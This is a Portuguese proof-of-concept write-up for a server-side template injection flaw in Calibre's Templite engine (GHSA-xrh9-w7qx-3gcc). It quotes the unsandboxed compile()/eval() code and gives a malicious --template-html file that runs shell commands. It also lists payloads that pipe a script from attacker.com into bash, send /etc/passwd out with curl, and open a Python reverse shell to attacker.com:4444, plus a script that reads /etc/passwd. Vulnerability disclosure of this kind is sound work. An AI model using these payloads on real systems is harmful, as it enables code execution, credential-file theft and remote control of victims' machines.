
Prova de Conceito para uma vulnerabilidade de Injeção de Template no Lado do Servidor (SSTI) no mecanismo Templite do Calibre (GHSA-xrh9-w7qx-3gcc). Demonstra execução arbitrária de código Python por meio de modelos de exportação HTML fornecidos pelo usuário em versões afetadas (≤ 9.1.0).
Gravidade: Alta (CVSS 7.8)
Software Afetado: calibre <= 9.1.0
Corrigido Em: 9.2.0
Aviso: GHSA-xrh9-w7qx-3gcc
Uma vulnerabilidade de Injeção de Template no Lado do Servidor (SSTI) no motor de templates Templite do Calibre permite execução arbitrária de código quando um usuário converte um ebook usando um arquivo de template personalizado malicioso por meio das opções de linha de comando --template-html ou --template-html-index.
O motor Templite (src/templite/__init__.py) compila e avalia templates usando as funções compile() e eval() do Python sem qualquer sandbox:
Código vulnerável em src/templite/__init__.py:
# Linha 72: O template é compilado para código Python
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')
# Linha 90: O código compilado é executado via eval()
def render(self, __namespace=None, **kw):
# ...
eval(self.__code, namespace) # Execução arbitrária de código
Vetor de ataque em src/calibre/ebooks/conversion/plugins/html_output.py:
# Linhas 96-98: O arquivo de template fornecido pelo usuário é carregado
if opts.template_html_index is not None:
with open(opts.template_html_index, 'rb') as f:
template_html_index_data = f.read()
# Linha 136: O template é passado para o motor Templite vulnerável
templite = Templite(template_html_index_data)
O mesmo padrão existe para a opção --template-html (linhas 102-106, 200).
Salve o seguinte como malicious_template.tmpl:
<!DOCTYPE html>
<html>
<head><title>Template Malicioso</title></head>
<body>
<h1>Livro convertido!</h1>
<!-- O payload SSTI executa comandos arbitrários -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>
# Converta qualquer ebook usando o template malicioso
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl
cat /tmp/pwned.txt
# Saída: uid=501(username) gid=20(staff) groups=...
# Execução de comandos
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$
# Exfiltração de arquivos
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$
# Reverse shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite
# Execução de comandos
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("Usuário:", t.render()) # Imprime o nome de usuário atual
# Leitura de arquivos
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("Arquivo:", t.render()) # Imprime a primeira linha de /etc/passwd
Quem é afetado:
Cenário de ataque:
ebook-convert book.epub out.zip --template-html=template.tmpl